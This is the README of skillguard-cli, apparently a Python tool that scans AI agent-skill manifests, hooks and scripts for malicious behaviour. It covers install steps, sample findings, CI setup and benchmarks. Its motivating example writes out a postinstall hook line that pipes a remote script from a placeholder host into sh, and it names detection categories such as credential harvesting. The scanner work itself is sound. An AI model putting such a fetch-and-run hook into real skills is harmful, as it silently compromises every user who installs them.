skillguard-cli 0.1.0

Security scanner for third-party AI agent-skill files: SKILL.md manifests, hooks, and bundled scripts.

skillguard-cli (Python)

Security scanner for third-party AI agent-skill files -- SKILL.md manifests, hooks, and bundled scripts -- before they run with real tool, file, and network permissions.

Why this exists

36% of published agent skills have exploitable flaws per Snyk. Most marketplaces and frameworks have no scan step between "someone published a skill" and "a user's agent runs it." Concretely: a SKILL.md that declares network: false in its frontmatter can still ship a hooks/postinstall.js that runs curl https://get.example.invalid/setup.sh | sh the moment the skill is installed -- nothing in most agent frameworks checks that the declared scope matches what the hooks actually do. SkillGuard is that check: a CLI, a library, and (for the npm distribution) a GitHub Action, all reading the same seven bundled rule packs. This package is the Python distribution -- a genuine, independent port, not a wrapper around the Node binary.

Install

pip install skillguard-cli

or with uv:

uv add skillguard-cli

No separate install step, no external binary to fetch: all seven rule packs and the pattern-matching engine ship inside the wheel. The complementary JS/TS distribution installs the same way on the npm side: npm install --save-dev skillguard-cli (or npx skillguard-cli scan to run it once without installing) -- see the project README for that package. Both are first-class, maintained together; neither is deprecated in favor of the other.

Quickstart

Clone the repo to get the bundled fixture skills (not part of the published wheel -- they're demo/test content):

git clone https://github.com/RudrenduPaul/skillguard.git
cd skillguard
skillguard scan ./examples/known-bad-skill

Real output:

Loading SkillGuard rule packs...
SkillGuard scan: /path/to/skillguard/examples/known-bad-skill
Files scanned: 5

Findings: 11 (HIGH: 5, MEDIUM: 5, LOW: 1)

[MEDIUM] SG01 hooks/backdoor.py:7
  sg01-raw-socket-python — Raw socket creation (Python "socket" module) bypasses typical HTTP-only network scope and is a common building block for a covert command-and-control channel.
  > socket.socket(

[HIGH] SG04 hooks/postinstall.js:5
  sg04-postinstall-remote-fetch — A postinstall/preinstall hook downloads and executes a remote script. Install-time hooks run automatically and silently for every consumer of this skill, making this a supply-chain compromise vector.

... (8 more findings, spanning all 7 rule categories) ...

Result: FAIL (exit code 1, severity threshold HIGH)

Or call the library directly (the agent-native path):

from skillguard import scan_skill, ScanOptions

result = scan_skill("./my-skill", ScanOptions(severity_threshold="HIGH"))
if result.exit_code == 1:
    print(f"{len(result.findings)} finding(s) at or above HIGH")
    for finding in result.findings:
        print(f"[{finding.severity}] {finding.category} {finding.file}:{finding.line} — {finding.message}")

How it works

target path -> .skillguardignore (opt-in only) -> file walker
   -> rule-pack loader (7 packs: SG01-SG07)
   -> pattern engine (SG01-06, partial SG05) + structural check (SG07)
   -> inline suppression filter (opt-in only)
   -> severity threshold -> exit code (0 clean / 1 fail / 2 error)

Findings, warnings, and the exit-code contract are described in full in docs/concepts.md. The seven rule packs (SG01 network mismatch, SG02 remote code execution, SG03 file-scope escalation, SG04 hook supply-chain, SG05 obfuscated payloads, SG06 credential harvesting, SG07 frontmatter spoofing) are reimplemented as genuine Python logic against the same rule-pack contract the npm package uses -- see that same doc for what each one actually catches.

How SkillGuard compares

SkillGuard is purpose-built for the agent-skill threat model, not a general-purpose scanner. This table is carried over verbatim from the npm package's README (same facts, same sources), since it applies equally to both distributions -- the comparison is about what SkillGuard scans, not which language it's written in.

	SkillGuard	Snyk Agent Scan	Semgrep (CE)	Socket CLI
What it scans	Agent-skill files: SKILL.md, hooks, scripts	Agent skills and MCP server configs	General source code, 30+ languages	npm/PyPI/etc. package installs
Agent-skill-specific ruleset	Yes, all 7 categories purpose-built for this threat model	Yes, its whole focus	No, general SAST rules only	No, supply-chain focused
Auth required for a basic scan	None	Yes, SNYK_TOKEN required	None for Community Edition	Yes, SOCKET_CLI_API_TOKEN
License	Apache 2.0	Apache 2.0	LGPL-2.1	MIT

Full sourcing and the fuller comparison (including Snyk Open Source/Code) is in the npm package's README. Honest note: no dedicated Python-ecosystem competitor was found doing agent-skill-specific scanning -- the comparison set above is the same one used for the npm package, since the threat model (not the implementation language) is what differentiates SkillGuard.

Benchmarks

Every number below is something we actually ran locally against this package (built wheel, installed into a fresh venv, run against the repo's bundled fixtures) -- no extrapolation.

• examples/known-bad-skill: 11 findings (5 HIGH, 5 MEDIUM, 1 LOW) spanning all 7 rule categories, across 5 hook/script files, exit code 1. Identical finding count, severity split, and category coverage to the npm package's own documented benchmark for the same fixture.
• examples/clean-skill and examples/clean-skill-python: 0 findings, exit code 0, on both.
• Test suite: 54/54 pytest tests passing, ported from the TypeScript vitest suite (one test module per source module, plus an end-to-end pass against the shared fixtures).

This is a 3-fixture check, not a large-corpus false-positive/false-negative study -- same caveat the npm README states for its own numbers.

CI integration

- uses: actions/checkout@v4
- uses: actions/setup-python@v5
  with:
    python-version: '3.12'
- run: pip install skillguard-cli
- run: skillguard scan ./my-skill --format sarif --severity-threshold HIGH > results.sarif
- uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: results.sarif

Full walkthrough (including exit-code gating and a pre-commit hook example) in docs/integrations/ci.md. The npm package additionally ships a ready-made composite GitHub Action (uses: RudrenduPaul/skillguard@main) that wraps the same pipeline.

Security

SkillGuard's whole job is running against untrusted, potentially malicious scan targets -- neither this package nor the npm package ever eval()s, exec()s, or dynamically imports anything read from a scan target; content is only ever read and pattern-matched. Both suppression mechanisms (.skillguardignore, inline # skillguard-ignore: comments) are off by default and require an explicit opt-in, closing a real trust-boundary bug fixed before v0.1 shipped (see CHANGELOG.md). To report a vulnerability, see SECURITY.md for the private disclosure process. Honest note: this project does not currently publish SLSA provenance, Sigstore signatures, or an SBOM, and has no OpenSSF Scorecard badge set up -- none of that infrastructure exists yet for either distribution, so it isn't claimed here.

Contributing

See CONTRIBUTING.md for the full guide, covering both the TypeScript and Python codebases (they must stay in behavioral parity -- a rule-pack change needs to land in both). There is no enforced minimum coverage threshold today; the bar is that the full pytest suite (pytest from python/) passes and new behavior ships with tests.

cd python
python3 -m venv .venv && source .venv/bin/activate
pip install -e ".[dev]"
pytest

License

Apache 2.0, see LICENSE.